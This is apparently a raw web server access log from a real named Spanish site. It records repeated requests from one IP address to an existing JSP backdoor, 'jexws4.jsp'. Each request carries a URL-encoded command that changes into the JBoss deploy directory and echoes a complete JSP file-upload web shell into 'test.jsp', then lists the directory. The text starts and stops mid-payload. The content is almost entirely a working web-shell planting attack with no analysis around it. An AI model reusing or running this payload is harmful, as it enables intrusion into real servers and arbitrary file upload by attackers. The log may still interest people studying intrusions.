%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834494651 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834488103 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834446099 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+